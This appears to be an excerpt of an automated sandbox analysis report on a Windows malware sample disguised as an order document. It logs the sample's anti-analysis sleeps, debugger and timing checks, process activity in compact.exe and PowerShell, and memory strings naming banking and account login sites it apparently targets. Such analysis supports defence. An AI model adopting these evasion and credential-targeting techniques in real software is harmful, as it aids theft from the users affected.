Source: C:\Windows\SysWOW64\compact.exe	API coverage: 2.8 %

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe TID: 1280	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 528	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2632	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe TID: 5112	Thread sleep count: 3386 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe TID: 5112	Thread sleep time: -6772000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe TID: 5112	Thread sleep count: 6586 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe TID: 5112	Thread sleep time: -13172000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe TID: 5888	Thread sleep time: -75000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe TID: 5888	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe TID: 5888	Thread sleep time: -51000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe TID: 5888	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe TID: 5888	Thread sleep time: -38000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\compact.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\compact.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\compact.exe

Code function: 10_2_02E2C170 FindFirstFileW,FindNextFileW,FindClose,

10_2_02E2C170

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: N77o9w1836.10.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: N77o9w1836.10.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: N77o9w1836.10.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: N77o9w1836.10.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: N77o9w1836.10.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: N77o9w1836.10.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: N77o9w1836.10.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: N77o9w1836.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: N77o9w1836.10.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: N77o9w1836.10.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: N77o9w1836.10.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: N77o9w1836.10.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: N77o9w1836.10.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: firefox.exe, 0000000E.00000002.2792349246.0000019DA522D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: N77o9w1836.10.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: N77o9w1836.10.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: N77o9w1836.10.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: EUSOiCcoIEEJJ.exe, 0000000D.00000002.4569047335.00000000008EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll5
Source: N77o9w1836.10.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: N77o9w1836.10.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: N77o9w1836.10.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: compact.exe, 0000000A.00000002.4565290385.00000000030ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq'Vh
Source: N77o9w1836.10.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: N77o9w1836.10.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: N77o9w1836.10.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: N77o9w1836.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: N77o9w1836.10.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: N77o9w1836.10.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: N77o9w1836.10.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: N77o9w1836.10.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: N77o9w1836.10.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: N77o9w1836.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: N77o9w1836.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: N77o9w1836.10.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Code function: 5_2_013F096E rdtsc

5_2_013F096E

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Code function: 5_2_00417B13 LdrLoadDll,

5_2_00417B13

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01444144 mov eax, dword ptr fs:[00000030h]	5_2_01444144
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01444144 mov eax, dword ptr fs:[00000030h]	5_2_01444144
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01444144 mov ecx, dword ptr fs:[00000030h]	5_2_01444144
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01444144 mov eax, dword ptr fs:[00000030h]	5_2_01444144
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01444144 mov eax, dword ptr fs:[00000030h]	5_2_01444144
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E0124 mov eax, dword ptr fs:[00000030h]	5_2_013E0124
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01448158 mov eax, dword ptr fs:[00000030h]	5_2_01448158
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E10E mov eax, dword ptr fs:[00000030h]	5_2_0145E10E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E10E mov ecx, dword ptr fs:[00000030h]	5_2_0145E10E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E10E mov eax, dword ptr fs:[00000030h]	5_2_0145E10E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E10E mov eax, dword ptr fs:[00000030h]	5_2_0145E10E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E10E mov ecx, dword ptr fs:[00000030h]	5_2_0145E10E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E10E mov eax, dword ptr fs:[00000030h]	5_2_0145E10E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E10E mov eax, dword ptr fs:[00000030h]	5_2_0145E10E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E10E mov ecx, dword ptr fs:[00000030h]	5_2_0145E10E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E10E mov eax, dword ptr fs:[00000030h]	5_2_0145E10E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E10E mov ecx, dword ptr fs:[00000030h]	5_2_0145E10E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01470115 mov eax, dword ptr fs:[00000030h]	5_2_01470115
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145A118 mov ecx, dword ptr fs:[00000030h]	5_2_0145A118
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145A118 mov eax, dword ptr fs:[00000030h]	5_2_0145A118
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145A118 mov eax, dword ptr fs:[00000030h]	5_2_0145A118
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145A118 mov eax, dword ptr fs:[00000030h]	5_2_0145A118
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AC156 mov eax, dword ptr fs:[00000030h]	5_2_013AC156
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B6154 mov eax, dword ptr fs:[00000030h]	5_2_013B6154
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B6154 mov eax, dword ptr fs:[00000030h]	5_2_013B6154
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014761C3 mov eax, dword ptr fs:[00000030h]	5_2_014761C3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014761C3 mov eax, dword ptr fs:[00000030h]	5_2_014761C3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142E1D0 mov eax, dword ptr fs:[00000030h]	5_2_0142E1D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142E1D0 mov eax, dword ptr fs:[00000030h]	5_2_0142E1D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142E1D0 mov ecx, dword ptr fs:[00000030h]	5_2_0142E1D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142E1D0 mov eax, dword ptr fs:[00000030h]	5_2_0142E1D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142E1D0 mov eax, dword ptr fs:[00000030h]	5_2_0142E1D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AA197 mov eax, dword ptr fs:[00000030h]	5_2_013AA197
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AA197 mov eax, dword ptr fs:[00000030h]	5_2_013AA197
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AA197 mov eax, dword ptr fs:[00000030h]	5_2_013AA197
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014861E5 mov eax, dword ptr fs:[00000030h]	5_2_014861E5
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F0185 mov eax, dword ptr fs:[00000030h]	5_2_013F0185
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01454180 mov eax, dword ptr fs:[00000030h]	5_2_01454180
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01454180 mov eax, dword ptr fs:[00000030h]	5_2_01454180
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E01F8 mov eax, dword ptr fs:[00000030h]	5_2_013E01F8
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0146C188 mov eax, dword ptr fs:[00000030h]	5_2_0146C188
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0146C188 mov eax, dword ptr fs:[00000030h]	5_2_0146C188
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143019F mov eax, dword ptr fs:[00000030h]	5_2_0143019F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143019F mov eax, dword ptr fs:[00000030h]	5_2_0143019F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143019F mov eax, dword ptr fs:[00000030h]	5_2_0143019F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143019F mov eax, dword ptr fs:[00000030h]	5_2_0143019F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01436050 mov eax, dword ptr fs:[00000030h]	5_2_01436050
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AA020 mov eax, dword ptr fs:[00000030h]	5_2_013AA020
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AC020 mov eax, dword ptr fs:[00000030h]	5_2_013AC020
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CE016 mov eax, dword ptr fs:[00000030h]	5_2_013CE016
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CE016 mov eax, dword ptr fs:[00000030h]	5_2_013CE016
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CE016 mov eax, dword ptr fs:[00000030h]	5_2_013CE016
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CE016 mov eax, dword ptr fs:[00000030h]	5_2_013CE016
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01434000 mov ecx, dword ptr fs:[00000030h]	5_2_01434000
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01452000 mov eax, dword ptr fs:[00000030h]	5_2_01452000
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01452000 mov eax, dword ptr fs:[00000030h]	5_2_01452000
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01452000 mov eax, dword ptr fs:[00000030h]	5_2_01452000
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01452000 mov eax, dword ptr fs:[00000030h]	5_2_01452000
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01452000 mov eax, dword ptr fs:[00000030h]	5_2_01452000
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01452000 mov eax, dword ptr fs:[00000030h]	5_2_01452000
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01452000 mov eax, dword ptr fs:[00000030h]	5_2_01452000
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01452000 mov eax, dword ptr fs:[00000030h]	5_2_01452000
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DC073 mov eax, dword ptr fs:[00000030h]	5_2_013DC073
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B2050 mov eax, dword ptr fs:[00000030h]	5_2_013B2050
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01446030 mov eax, dword ptr fs:[00000030h]	5_2_01446030
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014320DE mov eax, dword ptr fs:[00000030h]	5_2_014320DE
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014360E0 mov eax, dword ptr fs:[00000030h]	5_2_014360E0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B208A mov eax, dword ptr fs:[00000030h]	5_2_013B208A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AC0F0 mov eax, dword ptr fs:[00000030h]	5_2_013AC0F0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F20F0 mov ecx, dword ptr fs:[00000030h]	5_2_013F20F0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B80E9 mov eax, dword ptr fs:[00000030h]	5_2_013B80E9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AA0E3 mov ecx, dword ptr fs:[00000030h]	5_2_013AA0E3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014480A8 mov eax, dword ptr fs:[00000030h]	5_2_014480A8
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014760B8 mov eax, dword ptr fs:[00000030h]	5_2_014760B8
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014760B8 mov ecx, dword ptr fs:[00000030h]	5_2_014760B8
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01432349 mov eax, dword ptr fs:[00000030h]	5_2_01432349
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147A352 mov eax, dword ptr fs:[00000030h]	5_2_0147A352
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01458350 mov ecx, dword ptr fs:[00000030h]	5_2_01458350
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143035C mov eax, dword ptr fs:[00000030h]	5_2_0143035C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143035C mov eax, dword ptr fs:[00000030h]	5_2_0143035C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143035C mov eax, dword ptr fs:[00000030h]	5_2_0143035C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143035C mov ecx, dword ptr fs:[00000030h]	5_2_0143035C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143035C mov eax, dword ptr fs:[00000030h]	5_2_0143035C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143035C mov eax, dword ptr fs:[00000030h]	5_2_0143035C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AC310 mov ecx, dword ptr fs:[00000030h]	5_2_013AC310
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D0310 mov ecx, dword ptr fs:[00000030h]	5_2_013D0310
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EA30B mov eax, dword ptr fs:[00000030h]	5_2_013EA30B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EA30B mov eax, dword ptr fs:[00000030h]	5_2_013EA30B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EA30B mov eax, dword ptr fs:[00000030h]	5_2_013EA30B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145437C mov eax, dword ptr fs:[00000030h]	5_2_0145437C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014363C0 mov eax, dword ptr fs:[00000030h]	5_2_014363C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0146C3CD mov eax, dword ptr fs:[00000030h]	5_2_0146C3CD
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014543D4 mov eax, dword ptr fs:[00000030h]	5_2_014543D4
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014543D4 mov eax, dword ptr fs:[00000030h]	5_2_014543D4
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E3DB mov eax, dword ptr fs:[00000030h]	5_2_0145E3DB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E3DB mov eax, dword ptr fs:[00000030h]	5_2_0145E3DB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E3DB mov ecx, dword ptr fs:[00000030h]	5_2_0145E3DB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145E3DB mov eax, dword ptr fs:[00000030h]	5_2_0145E3DB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013A8397 mov eax, dword ptr fs:[00000030h]	5_2_013A8397
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013A8397 mov eax, dword ptr fs:[00000030h]	5_2_013A8397
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013A8397 mov eax, dword ptr fs:[00000030h]	5_2_013A8397
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D438F mov eax, dword ptr fs:[00000030h]	5_2_013D438F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D438F mov eax, dword ptr fs:[00000030h]	5_2_013D438F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AE388 mov eax, dword ptr fs:[00000030h]	5_2_013AE388
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AE388 mov eax, dword ptr fs:[00000030h]	5_2_013AE388
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013AE388 mov eax, dword ptr fs:[00000030h]	5_2_013AE388
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E63FF mov eax, dword ptr fs:[00000030h]	5_2_013E63FF
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CE3F0 mov eax, dword ptr fs:[00000030h]	5_2_013CE3F0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CE3F0 mov eax, dword ptr fs:[00000030h]	5_2_013CE3F0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CE3F0 mov eax, dword ptr fs:[00000030h]	5_2_013CE3F0
